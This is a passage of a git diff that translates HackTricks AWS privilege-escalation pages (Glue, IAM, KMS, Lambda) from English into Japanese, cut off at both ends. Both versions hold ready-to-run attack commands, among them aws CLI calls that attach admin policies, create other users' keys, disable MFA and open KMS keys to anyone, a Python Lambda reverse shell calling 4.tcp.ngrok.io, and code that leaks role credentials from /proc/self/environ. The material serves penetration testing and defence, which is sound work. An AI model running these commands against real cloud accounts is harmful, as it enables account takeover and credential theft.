--endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` - -**Potential Impact:** Privesc to the glue service role used. +**潜在的影響:** 使用されるグルーサービスロールへの権限昇格。 ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:UpdateJob`**, and either **`glue:StartJobRun` or `glue:CreateTrigger`** can **create or update an AWS Glue job**, attaching any **Glue service account**, and initiate the job's execution. The job's capabilities include running arbitrary Python code, which can be exploited to establish a reverse shell. This reverse shell can then be utilized to exfiltrate the **IAM credential**s of the role attached to the Glue job, leading to potential unauthorized access or actions based on the permissions of that role: - +**`iam:PassRole`** と **`glue:CreateJob` または `glue:UpdateJob`** のいずれか、さらに **`glue:StartJobRun` または `glue:CreateTrigger`** のいずれかを組み合わせたユーザーは、**AWS Glue ジョブを作成または更新**し、任意の **Glue サービスアカウント**を添付し、ジョブの実行を開始できます。ジョブの機能には、任意の Python コードを実行することが含まれ、これを利用してリバースシェルを確立することができます。このリバースシェルは、その後、Glue ジョブに添付されたロールの **IAM 認証情報**を抽出するために利用され、ロールの権限に基づく潜在的な不正アクセスや行動につながる可能性があります。 ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -65,32 +60,27 @@ Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:U # A Glue role with admin access was created aws glue create-job \ - --name privesctest \ - --role arn:aws:iam::93424712358:role/GlueAdmin \ - --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' +--name privesctest \ +--role arn:aws:iam::93424712358:role/GlueAdmin \ +--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' # You can directly start the job aws glue start-job-run --job-name privesctest # Or you can create a trigger to start it aws glue create-trigger --name triggerprivesc --type SCHEDULED \ - --actions '[{"JobName": "privesctest"}]' --start-on-creation \ - --schedule "0/5 * * * * *" #Every 5mins, feel free to change +--actions '[{"JobName": "privesctest"}]' --start-on-creation \ +--schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` - -**Potential Impact:** Privesc to the glue service role specified. +**潜在的な影響:** 指定されたglueサービスロールへの権限昇格。 ### `glue:UpdateJob` -Just with the update permission an attacked could steal the IAM Credentials of the already attached role. +更新権限だけで、攻撃者は既に接続されているロールのIAM資格情報を盗むことができる。 -**Potential Impact:** Privesc to the glue service role attached. +**潜在的な影響:** 接続されているglueサービスロールへの権限昇格。 -## References +## 参考文献 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 7807f6152..f0c1d9e5b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -For more info about IAM check: +IAMに関する詳細情報は以下を確認してください： {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,228 +12,189 @@ For more info about IAM check: ### **`iam:CreatePolicyVersion`** -Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions. +新しいIAMポリシーバージョンを作成する能力を付与し、`--set-as-default`フラグを使用して`iam:SetDefaultPolicyVersion`権限の必要性を回避します。これにより、カスタム権限を定義できます。 **Exploit Command:** - ```bash aws iam create-policy-version --policy-arn \ - --policy-document file:///path/to/administrator/policy.json --set-as-default +--policy-document file:///path/to/administrator/policy.json --set-as-default ``` - -**Impact:** Directly escalates privileges by allowing any action on any resource. +**影響:** すべてのリソースに対して任意のアクションを許可することにより、直接的に権限を昇格させます。 ### **`iam:SetDefaultPolicyVersion`** -Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions. - -**Bash Command:** +IAMポリシーのデフォルトバージョンを別の既存のバージョンに変更することを許可し、新しいバージョンにより多くの権限がある場合、権限を昇格させる可能性があります。 +**Bashコマンド:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` - -**Impact:** Indirect privilege escalation by enabling more permissions. +**影響:** より多くの権限を有効にすることによる間接的な権限昇格。 ### **`iam:CreateAccessKey`** -Enables creating access key ID and secret access key for another user, leading to potential privilege escalation. - -**Exploit:** +他のユーザーのためにアクセスキーIDとシークレットアクセスキーを作成することを可能にし、権限昇格の可能性を引き起こします。 +**悪用:** ```bash aws iam create-access-key --user-name ``` - -**Impact:** Direct privilege escalation by assuming another user's extended permissions. +**影響:** 他のユーザーの拡張権限を引き受けることによる直接的な権限昇格。 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation. - -**Exploit for Creation:** +AWSコンソールログインのためのパスワード設定を含むログインプロファイルの作成または更新を許可し、直接的な権限昇格につながる。 +**作成のためのエクスプロイト:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Exploit for Update:** - +**更新のためのエクスプロイト:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Impact:** Direct privilege escalation by logging in as "any" user. +**影響:** "任意"のユーザーとしてログインすることによる直接的な権限昇格。 ### **`iam:UpdateAccessKey`** -Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key. - -**Exploit:** +無効なアクセスキーを有効にすることを許可し、攻撃者が無効なキーを持っている場合、無許可のアクセスにつながる可能性があります。 +**悪用:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` - -**Impact:** Direct privilege escalation by reactivating access keys. +**影響:** アクセスキーを再活性化することによる直接的な権限昇格。 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user. - -**Exploit for Creation:** +特定のAWSサービス（例：CodeCommit、Amazon Keyspaces）のための資格情報を生成またはリセットすることを可能にし、関連するユーザーの権限を継承します。 +**作成のための悪用:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` - -**Exploit for Reset:** - +**リセットのためのエクスプロイト:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` - -**Impact:** Direct privilege escalation within the user's service permissions. +**影響:** ユーザーのサービス権限内での直接的な権限昇格。 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy. - -**Exploit for User:** +ユーザーまたはグループにポリシーを添付することを許可し、添付されたポリシーの権限を継承することによって権限を直接昇格させます。 +**ユーザーのためのエクスプロイト:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` - -**Exploit for Group:** - +**グループのためのエクスプロイト:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` - -**Impact:** Direct privilege escalation to anything the policy grants. +**影響:** ポリシーが付与するすべてへの直接的な権限昇格。 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions. - -**Exploit for Role:** +ロール、ユーザー、またはグループにポリシーを添付または設定することを許可し、追加の権限を付与することによって直接的な権限昇格を可能にします。 +**ロールのための悪用:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` - -**Exploit for Inline Policies:** - +**インラインポリシーのエクスプロイト:** ```bash aws iam put-user-policy --user-name --policy-name "" \ - --policy-document "file:///path/to/policy.json" +--policy-document "file:///path/to/policy.json" aws iam put-group-policy --group-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json aws iam put-role-policy --role-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json ``` - -You can use a policy like: - +あなたは次のようなポリシーを使用できます: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } ``` - -**Impact:** Direct privilege escalation by adding permissions through policies. +**影響:** ポリシーを通じて権限を追加することによる直接的な権限昇格。 ### **`iam:AddUserToGroup`** -Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions. - -**Exploit:** +自分自身をIAMグループに追加することを可能にし、グループの権限を継承することで権限を昇格させる。 +**悪用:** ```bash aws iam add-user-to-group --group-name --user-name ``` - -**Impact:** Direct privilege escalation to the level of the group's permissions. +**影響:** グループの権限レベルへの直接的な権限昇格。 ### **`iam:UpdateAssumeRolePolicy`** -Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions. - -**Exploit:** +ロールのアサムロールポリシー文書を変更することを許可し、ロールとその関連する権限の引き受けを可能にします。 +**悪用:** ```bash aws iam update-assume-role-policy --role-name \ - --policy-document file:///path/to/assume/role/policy.json +--policy-document file:///path/to/assume/role/policy.json ``` - -Where the policy looks like the following, which gives the user permission to assume the role: - +ポリシーが以下のようになっている場合、ユーザーにロールを引き受ける権限が与えられます： ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "sts:AssumeRole", - "Principal": { - "AWS": "$USER_ARN" - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sts:AssumeRole", +"Principal": { +"AWS": "$USER_ARN" +} +} +] } ``` - -**Impact:** Direct privilege escalation by assuming any role's permissions. +**影響:** 任意のロールの権限を引き受けることによる直接的な権限昇格。 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation. - -**Exploit for SSH Key Upload:** +CodeCommitへの認証のためにSSH公開鍵をアップロードし、MFAデバイスを無効にすることを許可し、潜在的な間接的権限昇格につながる。 +**SSHキーアップロードのためのエクスプロイト:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` - -**Exploit for MFA Deactivation:** - +**MFA無効化のためのエクスプロイト:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` - -**Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection. +**影響:** CodeCommitアクセスを有効にするか、MFA保護を無効にすることによる間接的な特権昇格。 ### **`iam:ResyncMFADevice`** -Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection. - -**Bash Command:** +MFAデバイスの再同期を許可し、MFA保護を操作することによって間接的な特権昇格を引き起こす可能性があります。 +**Bashコマンド:** ```bash aws iam resync-mfa-device --user-name --serial-number \ - --authentication-code1 --authentication-code2 +--authentication-code1 --authentication-code2 ``` - -**Impact:** Indirect privilege escalation by adding or manipulating MFA devices. +**影響:** MFAデバイスを追加または操作することによる間接的な権限昇格。 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it. - -Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back +これらの権限を持つことで、**SAML接続のXMLメタデータを変更**することができます。次に、**SAMLフェデレーション**を悪用して、**信頼している任意のロールでログイン**することができます。 +これを行うと、**正当なユーザーはログインできなくなる**ことに注意してください。しかし、XMLを取得できるので、自分のものを入れてログインし、以前の設定を構成することができます。 ```bash # List SAMLs aws iam list-saml-providers @@ -249,14 +210,12 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` - > [!NOTE] -> TODO: A Tool capable of generating the SAML metadata and login with a specified role +> TODO: 指定されたロールでログインし、SAMLメタデータを生成できるツール ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider. - +（不明）攻撃者がこれらの**権限**を持っている場合、プロバイダーを信頼するすべてのロールにログインするために新しい**サムプリント**を追加できる。 ```bash # List providers aws iam list-open-id-connect-providers @@ -265,13 +224,8 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` - -## References +## 参考文献 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 02c05b76d..21d50b135 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -4,7 +4,7 @@ ## KMS -For more info about KMS check: +KMSに関する詳細情報は以下を確認してください： {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,8 +12,7 @@ For more info about KMS check: ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone: - +これらの権限を持つことで、**キーへのアクセス権限を変更**し、他のアカウントや誰でも使用できるようにすることが可能です： ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -21,106 +20,91 @@ aws kms get-key-policy --key-id --policy-name # AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow all use", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": ["kms:*"], - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow all use", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": ["kms:*"], +"Resource": "*" +} +] } ``` - ### `kms:CreateGrant` -It **allows a principal to use a KMS key:** - +それは**プリンシパルがKMSキーを使用することを許可します:** ```bash aws kms create-grant \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - --grantee-principal arn:aws:iam::123456789012:user/exampleUser \ - --operations Decrypt +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +--grantee-principal arn:aws:iam::123456789012:user/exampleUser \ +--operations Decrypt ``` +> [!WARNING] +> グラントは特定のタイプの操作のみを許可できます: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) - -> [!WARNING] -> Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\ -> However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\ -> For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). - +> グラントが生成された後、KMSが**ユーザーにキーの使用を許可するまでに数分かかる場合がある**ことに注意してください。その時間が経過すると、プリンシパルは何も指定せずにKMSキーを使用できます。\ +> ただし、すぐにグラントを使用する必要がある場合は[グラントトークンを使用してください](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)（以下のコードを確認してください）。\ +> [**詳細についてはこれをお読みください**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request aws kms generate-data-key \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - –-key-spec AES_256 \ - --grant-tokens $token +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +–-key-spec AES_256 \ +--grant-tokens $token ``` - -Note that it's possible to list grant of keys with: - +注意：キーのグラントをリストすることが可能です： ```bash aws kms list-grants --key-id ``` - ### `kms:CreateKey`, `kms:ReplicateKey` -With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy. - -So, an attacker could abuse this to obtain privesc his access to the key and use it +これらの権限を持つことで、異なるポリシーを持つ異なるリージョンにマルチリージョン対応のKMSキーを複製することが可能です。 +したがって、攻撃者はこれを悪用して、キーへのアクセスを取得し、それを使用することができます。 ```bash aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "kms:*", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "kms:*", +"Resource": "*" +} +] } ``` - ### `kms:Decrypt` -This permission allows to use a key to decrypt some information.\ -For more information check: +この権限は、キーを使用して情報を復号化することを許可します。\ +詳細については、以下を確認してください： {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index d276ef737..aa3123f7a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -4,7 +4,7 @@ ## lambda -More info about lambda in: +lambdaに関する詳細情報は以下を参照してください： {{#ref}} ../aws-services/aws-lambda-enum.md @@ -12,23 +12,22 @@ More info about lambda in: ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\ -They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\ -Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\ - -A attacker could abuse this to get a **rev shell and steal the token**: +**`iam:PassRole`, `lambda:CreateFunction`, および `lambda:InvokeFunction`** 権限を持つユーザーは、特権を昇格させることができます。\ +彼らは**新しいLambda関数を作成し、既存のIAMロールを割り当てることができ**、そのロールに関連付けられた権限を関数に付与します。ユーザーはその後、**このLambda関数にコードを書いてアップロードすることができます（例えばrev shellを使用して）**。\ +関数が設定されると、ユーザーは**AWS APIを通じてLambda関数を呼び出すことで、その実行をトリガーし、意図したアクションを実行することができます**。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することが可能になります。\\ +攻撃者はこれを悪用して**rev shellを取得し、トークンを盗む**ことができます： ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); - s.connect(('4.tcp.ngrok.io',14305)) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(['/bin/sh','-i']) - time.sleep(900) - return 0 +s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); +s.connect(('4.tcp.ngrok.io',14305)) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(['/bin/sh','-i']) +time.sleep(900) +return 0 ``` ```bash @@ -37,8 +36,8 @@ zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ - --runtime python3.9 --role \ - --handler rev.lambda_handler --zip-file fileb://rev.zip +--runtime python3.9 --role \ +--handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt @@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt # List roles aws iam list-attached-user-policies --user-name ``` - -You could also **abuse the lambda role permissions** from the lambda function itself.\ -If the lambda role had enough permissions you could use it to grant admin rights to you: - +あなたはまた、**lambda関数自体のlambdaロールの権限を悪用する**ことができます。\ +もしlambdaロールに十分な権限があれば、それを使用してあなたに管理者権限を付与することができます： ```python import boto3 def lambda_handler(event, context): - client = boto3.client('iam') - response = client.attach_user_policy( - UserName='my_username', - PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' - ) - return response +client = boto3.client('iam') +response = client.attach_user_policy( +UserName='my_username', +PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' +) +return response ``` - -It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda. - +lambdaのロール資格情報を外部接続なしで漏洩させることも可能です。これは、内部タスクで使用される**ネットワーク隔離されたLambda**にとって便利です。逆シェルをフィルタリングしている未知のセキュリティグループがある場合、このコードはlambdaの出力として資格情報を直接漏洩させることを可能にします。 ```python def handler(event, context): -    sessiontoken = open('/proc/self/environ', "r").read() -    return { -        'statusCode': 200, -        'session': str(sessiontoken) -    } +sessiontoken = open('/proc/self/environ', "r").read() +return { +'statusCode': 200, +'session': str(sessiontoken) +} ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**潜在的な影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。 > [!CAUTION] -> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction` +> 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** **は**単独では**`aws lambda invoke-async`**を**実行することを許可しません**。`lambda:InvokeFunction`も必要です。 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` -Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`** - +前のシナリオと同様に、**`lambda:AddPermission`**の権限があれば、**自分に`lambda:InvokeFunction`**の権限を**付与することができます**。 ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ - --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" +--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` - -**Potential Impact:** Direct privesc to the arbitrary lambda service role specified. +**潜在的影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\ -They can create a **Lambda function with malicious code and assign it an existing IAM role**. - -Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role. +**`iam:PassRole`, `lambda:CreateFunction`, および `lambda:CreateEventSourceMapping`** 権限を持つユーザー（おそらく `dynamodb:PutItem` および `dynamodb:CreateTable` も含む）は、`lambda:InvokeFunction` なしでも間接的に **権限を昇格** させることができます。\ +彼らは **悪意のあるコードを持つLambda関数を作成し、既存のIAMロールを割り当てる** ことができます。 +ユーザーはLambdaを直接呼び出す代わりに、既存のDynamoDBテーブルを設定または利用し、イベントソースマッピングを通じてLambdaにリンクします。この設定により、テーブルに新しいアイテムが追加されると、ユーザーのアクションまたは別のプロセスによってLambda関数が **自動的にトリガーされ**、渡されたIAMロールの権限でコードが実行されます。 ```bash aws lambda create-function --function-name my_function \ - --runtime python3.8 --role \ - --handler lambda_function.lambda_handler \ - --zip-file fileb://rev.zip +--runtime python3.8 --role \ +--handler lambda_function.lambda_handler \ +--zip-file fileb://rev.zip ``` - -If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled: - +もしDynamoDBがすでにAWS環境でアクティブであれば、ユーザーは**Lambda関数のイベントソースマッピングを設定するだけで済みます**。しかし、DynamoDBが使用されていない場合、ユーザーは**ストリーミングが有効な新しいテーブルを作成する必要があります**： ```bash aws dynamodb create-table --table-name my_table \ - --attribute-definitions AttributeName=Test,AttributeType=S \ - --key-schema AttributeName=Test,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES +--attribute-definitions AttributeName=Test,AttributeType=S \ +--key-schema AttributeName=Test,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` - -Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**: - +今、**イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です**: ```bash aws lambda create-event-source-mapping --function-name my_function \ - --event-source-arn \ - --enabled --starting-position LATEST +--event-source-arn \ +--enabled --starting-position LATEST ``` - -With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table: - +DynamoDBストリームにリンクされたLambda関数を使用して、攻撃者は**DynamoDBストリームをアクティブにすることでLambdaを間接的にトリガーすることができます**。これは、**DynamoDBテーブルにアイテムを挿入することによって実現できます**： ```bash aws dynamodb put-item --table-name my_table \ - --item Test={S="Random string"} +--item Test={S="Random string"} ``` - -**Potential Impact:** Direct privesc to the lambda service role specified. +**潜在的な影響:** 指定されたlambdaサービスロールへの直接的な権限昇格。 ### `lambda:AddPermission` -An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource): - +この権限を持つ攻撃者は**自分自身（または他の人）に任意の権限を付与することができる**（これはリソースベースのポリシーを生成してリソースへのアクセスを付与します）： ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: @@ -147,71 +130,62 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` - -**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it. +**潜在的な影響:** コードを変更して実行する権限を付与することによって、使用されるlambdaサービスロールへの直接的な権限昇格。 ### `lambda:AddLayerVersionPermission` -An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information - +この権限を持つ攻撃者は**自分自身（または他の人）に`lambda:GetLayerVersion`の権限を付与することができます**。彼はレイヤーにアクセスし、脆弱性や機密情報を探すことができます。 ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` - -**Potential Impact:** Potential access to sensitive information. +**潜在的影響:** 機密情報への潜在的アクセス。 ### `lambda:UpdateFunctionCode` -Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\ -The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**. - -Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code. +**`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAMロールにリンクされた既存のLambda関数のコードを変更する可能性があります。**\ +攻撃者は**IAM資格情報を外部に流出させるためにLambdaのコードを変更することができます。** +攻撃者が関数を直接呼び出す能力を持っていない場合でも、Lambda関数が既に存在し稼働している場合、既存のワークフローやイベントを通じてトリガーされる可能性が高く、したがって変更されたコードの実行を間接的に促進することになります。 ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws 